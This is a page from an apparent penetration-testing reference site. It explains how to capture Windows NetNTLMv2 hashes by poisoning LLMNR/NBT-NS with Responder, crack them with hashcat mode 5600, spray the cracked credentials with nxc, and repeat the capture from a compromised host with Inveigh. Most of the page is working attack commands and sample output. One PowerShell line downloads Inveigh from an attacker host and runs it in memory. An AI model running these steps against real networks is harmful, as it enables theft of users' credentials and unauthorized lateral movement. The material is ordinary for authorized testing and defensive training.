Skip to content
HackIndex logo

HackIndex

Credential Capture with Responder

3 min read Jun 11, 2026

Windows hosts broadcast LLMNR and NBT-NS queries when DNS fails to resolve a hostname. Any host on the same network segment can respond to these broadcasts, prompting the requesting host to authenticate. Responder spoofs those responses and captures the resulting NetNTLMv2 hash.

Before starting, check NTLM Relay Conditions: if SMB signing is absent on any targets, relay immediately rather than cracking. If signing is enforced everywhere, capture and crack.

Responder capture mode

Run Responder on the interface facing the target subnet. WPAD (-w) and proxy auth (-P) capture additional hashes from browser traffic.

┌──(kali㉿kali)-[~]
└─$ # LLMNR + NBT-NS + mDNS + WPAD + proxy auth
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wP
 
┌──(kali㉿kali)-[~]
└─$ # Verbose output — shows each incoming request
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wPv 
[+] Poisoners: LLMNR [ON]  NBT-NS [ON]  mDNS [ON]
[SMB] NTLMv2-SSP Client   : 10.10.10.20
[SMB] NTLMv2-SSP Username : CORP\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::CORP:1a2b3c4d5e6f...:aabbcc...

Hashes accumulate in /usr/share/responder/logs/. Each protocol writes to its own file (SMB-NTLMv2-SSP-*.txt, HTTP-NTLMv2-*.txt, etc.).

Relay mode — disable built-in servers

When forwarding captured hashes to ntlmrelayx, Responder's own SMB and HTTP servers must be off to avoid port conflicts. Edit /usr/share/responder/Responder.conf before starting.

┌──(kali㉿kali)-[~]
└─$ # Disable Responder's SMB and HTTP servers
┌──(kali㉿kali)-[~]
└─$ sed -i 's/SMB = On/SMB = Off/' /usr/share/responder/Responder.conf
┌──(kali㉿kali)-[~]
└─$ sed -i 's/HTTP = On/HTTP = Off/' /usr/share/responder/Responder.conf
 
┌──(kali㉿kali)-[~]
└─$ # Run Responder — poisoning only, no server conflicts
┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wPv

With Responder poisoning and ntlmrelayx forwarding, proceed to NTLM Relay in Active Directory.

Crack captured hashes

NetNTLMv2 uses hashcat mode 5600. These hashes cannot be passed directly — crack to plaintext first.

┌──(kali㉿kali)-[~]
└─$ # Crack all captured NTLMv2 hashes
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # With rules for common password mutation patterns
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 
jsmith::CORP:1a2b3c4d5e6f...: Password123!

After cracking, validate the credential against all hosts in the subnet. If the account has local admin rights anywhere, --local-auth confirms it across all machines: nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD --local-auth.

Capture from a Windows host — Inveigh

Responder requires direct access to the network segment from a Linux attacker. From a compromised Windows host inside the target network, Inveigh provides the same LLMNR and NBT-NS poisoning without any additional tooling.

PS C:\Users\Guest\Desktop> # Load Inveigh into memory
PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/Inveigh.ps1')
 
PS C:\Users\Guest\Desktop> # Start LLMNR, NBT-NS, and mDNS poisoning
PS C:\Users\Guest\Desktop> Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -FileOutput Y
 
PS C:\Users\Guest\Desktop> # Check captured hashes interactively
PS C:\Users\Guest\Desktop> Get-InveighLog 
LLMNR request for DC01 received from 10.10.10.30
CORP\administrator:NTLMv2 captured

Inveigh writes captures to Inveigh-NTLMv2.txt in the working directory when -FileOutput Y is set. Transfer the file back to Kali and crack with hashcat mode 5600.

References